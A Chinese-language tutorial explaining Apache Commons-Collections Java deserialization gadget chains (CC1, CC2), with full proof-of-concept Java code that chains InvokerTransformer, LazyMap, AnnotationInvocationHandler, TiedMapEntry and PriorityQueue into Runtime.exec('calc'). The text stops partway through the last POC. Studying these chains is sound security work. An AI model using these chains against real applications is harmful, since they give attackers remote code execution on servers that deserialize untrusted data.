Commons-Collections利用链合集

前置知识

  1. java反射

  2. javassist

  3. 动态代理

  4. JVM类加载机制

CC1

版本:cc3.1~3.2.1

jdk: < 8u71

环境搭建:

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

对比官方在3.2.2版本https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5

image-20230727153329622

默认情况下禁用“InvokerTransformer”的反序列化,因为可用于远程代码执行攻击。 要重新启用具有系统属性“org.apache.commons.collections.invokertransformer.enableDeserialization”需要设置为“true”

说明漏洞存在于InvokerTransformer这个类

在这个类里面存在一个transform方法

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到这里利用了java反射,可以利用反射调用任意类的任意方法,比如通过反射执行系统命令

//Runtime.class可序列化,Runtime⽆法序列化
Class c =Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r,"calc");

现在需要知道参数this.iMethodName,this.iParamTypes,this.iArgs是如何传递的

这个类的构造方法如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

这三个参数在构造方法中直接赋值,从赋值到反射,没有任何过滤或限制

可以将上面反射执行系统命令的代码修改为:

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

然后就是找链子,直到找到readObject()

找一个调用了transform()的方法org.apache.commons.collections.functors.ChainedTransformer.class#transform()

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

按顺序调用 Transformer 数组 this.iTransformers 中所有 Transformer 对象的 transform 方法,并且每次调用的结果传递给下一个 Transformer#transform() 作为参数

利用它我们可以构造 Transformer 数组 通过 ChainedTransformer#transform() 的链式调用机制+java的反射机制在反序列化时构造出 Runtime 对象

这个类的构造函数:

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

然后就可以构造下面代码执行命令了:

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Class.class);

调用 transform() 方法是参数可控,因为链式调用的起点 为 class对象(Class.class),是我们传入 transform() 方法的参数。这样条件有些苛刻了,即使参数可控,参数类型也对不上。继续想办法减少条件。

找到org.apache.commons.collections.functors.ConstantTransformer,看看它是如何实现transform的

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return iConstant;
    }

前边使用 ChainedTransformer#transform() 方法链式调用的起点是传入 transform() 方法的参数,也就是 class 对象(Class.class)。可以用 ConstantTransformer 包裹一个 class 对象,把它放到我们构造的 Transformer 数组的首位,作为链式调用的起点。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform('s');

< 8u71

找另外一个调用了transform()的方法,这里找到了org/apache/commons/collections/map/LazyMap.java的get()方法

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

检查给定的键 key 是否已经存在于 map 中,通过调用 map.containsKey(key) 方法来判断。如果键不存在 (== false),则进入if语句,调用transform()

其中key是方法参数,可控,然后就是factory,跟踪factory属性的赋值,查看构造函数

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

但是这个类的构造函数是protected类型,只有他自身或者继承他的类可以用,那就是decorate()方法

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

所以接着上面简单构造一下又能执行命令了

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        lazymap.get('s');

下一步要找到一个调用get()方法的地方,最好能找到一个重写readObject的类并且在这个readObject里面调用了get的方法

然后找到了AnnotationInvocationHandler这个类

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,但是在 AnnotationInvocationHandler#invoke() 方法调用了 get 方法,this.memberValues 可控。

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

这个类的构造方法如下:this.memberValues 可控,设置 this.memberValues 为我们构造的 LazyMap,但是这里存在一个if判断,第一个参数类型必须是注解

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

下一步就要想如何调用这个invoke方法

这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发

动态代理参考:https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        //实例一个 AnnotationInvocationHandler 类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
        construct.setAccessible(true);
        //这里第一个参数必须是注释类型的
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
        // 创建 AnnotationInvocationHandler 的代理
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        //调用代理对象的任意方法
        proxyMap.size();

这里可以调用任意方法触发,只要找到一个readObject有对我们的代理对象调用任意方法就行,按照ysoserial中的链子,后面使用的是AnnotationInvocationHandler的readObject方法

(这里懵逼了)这里需要再实例化一个AnnotationInvocationHandler 包裹的代理对象 proxyMap

handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);

链子如下:

graph TB
sun.reflect.annotation.AnnotationInvocationHandler#\nreadObject-->sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke
sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke-->org.apache.commons.collections.map.LazyMap#\nget
org.apache.commons.collections.map.LazyMap#\nget-->org.apache.commons.collections.functors.ChainedTransformer#\ntransform
org.apache.commons.collections.functors.ChainedTransformer#\ntransform-->org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform
org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform-->Runtime.getRuntime.exec

最后的POC

package TTT;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        //实例一个 AnnotationInvocationHandler 类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
        construct.setAccessible(true);
        //这里第一个参数必须是注释类型的
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
        // 创建 AnnotationInvocationHandler 的代理
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        //调用代理对象的任意方法
//        proxyMap.size();

        // 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
        handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);


        serialize(handler);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

> 8u71

在java 8u71以后,AnnotationInvocationHandler的readObject的逻辑变化了,利用不了,所以我们如果想要在高版本执行,必须要找一条新的链

调用get()方法之前的代码是一样的:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        lazymap.get('s');

上面是使用了AnnotationInvocationHandler#invoke()里面调用了get()

这条链使用的是org.apache.commons.collections.keyvalue.TiedMapEntry的getValue

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

public Object getValue() {
        return map.get(key);
    }

下一步找调用了getValue()的地方

就在这个类下就有:

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

修改poc:

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
        tiedmapentry.hashCode();

如何调用hashCode()

java.util.HashMap, 可以构造hash(tiedmapentry)

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

但是hash方法不是public类型,只能内部调用

在内部找到readObject,刚好可以结束链子

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
....
for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
}

key的来源是map对象

链子如下:

graph TB
java.util.HashMap#\nreadObject-->java.util.HashMap#\nhash
java.util.HashMap#\nhash-->org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode-->org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue
org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue-->org.apache.commons.collections.map.LazyMap#\nget
org.apache.commons.collections.map.LazyMap#\nget-->org.apache.commons.collections.functors.ChainedTransformer#\ntransform
org.apache.commons.collections.functors.ChainedTransformer#\ntransform-->org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform
org.apache.commons.collections.functors.InvokerTransformer#\ntransform\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform-->Runtime.getRuntime.exec

最后的POC

package TTT;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.hashCode();

        Map expMap=new HashMap();
        expMap.put(tiedmapentry,"valuevalue");

        serialize(expMap);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

CC2

版本:commons-collections4: 4.0

jdk:1.7或1.8低版本

环境搭建:

<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>

经过测试,上面CC1中的那两条链子还是存在的,但是需要修改一下,因为这个cc版本的LazyMap类变了,给构造函数传参的方式变了

只有修改LazyMap部分即可

修改后的poc:

<8u71

package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App
{
    public static <K,V> void main(String[] args ) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
        Map map = new HashMap();
        LazyMap<K, V> lazymap = LazyMap.lazyMap(map, chainedTransformer);
//        lazyMap.get('s');


//实例一个 AnnotationInvocationHandler 类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
        construct.setAccessible(true);
        //这里第一个参数必须是注释类型的
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazymap);
        // 创建 AnnotationInvocationHandler 的代理
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        //调用代理对象的任意方法
//        proxyMap.size();

        // 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
        handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);

        serialize(handler);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

8u71

package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class App
{
    public static <K,V> void main(String[] args ) throws IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
        Map map = new HashMap();
        LazyMap<K, V> lazymap = LazyMap.lazyMap(map, chainedTransformer);
//        lazyMap.get('s');
        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.hashCode();

        Map expMap=new HashMap();
        expMap.put(tiedmapentry,"valuevalue");

        serialize(expMap);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

下面是全新的链子:

首先chainedTransformer类获取Runtime.getRuntime.exec是和前面的一样的,这里就不再分析了

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Class.class),
    new InvokerTransformer(
        "forName",
        new Class[] {String.class},
        new Object[] {"java.lang.Runtime"}
    ),
    new InvokerTransformer(
        "getMethod",
        new Class[] {String.class,Class[].class},
        new Object[] {"getRuntime",new Class[0]}
    ),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer(
        "exec",
        new Class[] {String.class},
        new String[]{"calc"}
    )

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform('s');

TransformingComparator版本

下一步是找一个调用了transform的方法

org.apache.commons.collections4.comparators.TransformingComparator这个类中

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

this.transformer是由构造函数赋值:

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                              final Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

目前构造的poc:因为compare中调用了两次transform,所以会执行两次命令

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Class.class),
    new InvokerTransformer(
        "forName",
        new Class[] {String.class},
        new Object[] {"java.lang.Runtime"}
    ),
    new InvokerTransformer(
        "getMethod",
        new Class[] {String.class,Class[].class},
        new Object[] {"getRuntime",new Class[0]}
    ),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer(
        "exec",
        new Class[] {String.class},
        new String[]{"calc"}
    )

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
transformingComparator.compare("1","2");

下一步就是寻找哪里调用了compare方法,然后找到java.util.PriorityQueue

private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

这里的两个方法的if语句中调用了compare方法,但是这些方法是private类型的,不能直接调用,找到这类中调用这个方法的方法

private void siftUp(int k, E x) {
        if (comparator != null)
            siftUpUsingComparator(k, x);
        else
            siftUpComparable(k, x);
    }

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这个comparator属性不为空则调用siftUpUsingComparatorsiftDownUsingComparator,但是这两个还是private类型的,进行往上查找

找到offer()方法,需要i>=1才能调用siftUp(),这里的i是PriorityQueue队列长度,然后还找到了add()方法调用了offer()

public boolean offer(E e) {
        if (e == null)
            throw new NullPointerException();
        modCount++;
        int i = size;
        if (i >= queue.length)
            grow(i + 1);
        size = i + 1;
        if (i == 0)
            queue[0] = e;
        else
            siftUp(i, e);
        return true;
    }

public boolean add(E e) {
        return offer(e);
    }

那么现在的思路是

add()->offer()->siftUp() -> siftUpComparable()

修改一下poc即可进行命令执行

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
TransformingComparator transformingComparator= new TransformingComparator<>(chainedTransformer,null);
//        transformingComparator.compare("1","2");
PriorityQueue queue = new PriorityQueue(2,transformingComparator);
queue.add(1);
queue.add(2);

至于siftDown()方法,这里找到的是

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

size >>> 1这里表示右移一位即相当于除二,所以size最小为2,即队列大小为二

继续往上找,找到了readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
        // Read in (and discard) array length
        s.readInt();
        queue = new Object[size];
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

找到这里就可以结束这条链子了

利用链如下:

graph TB
A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()")
B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()")
C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()")
D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")
E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")
F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")
G("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")-->H("Runtime.getRuntime.exec('calc')")

最终POC如下:

package org.example;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class App
{
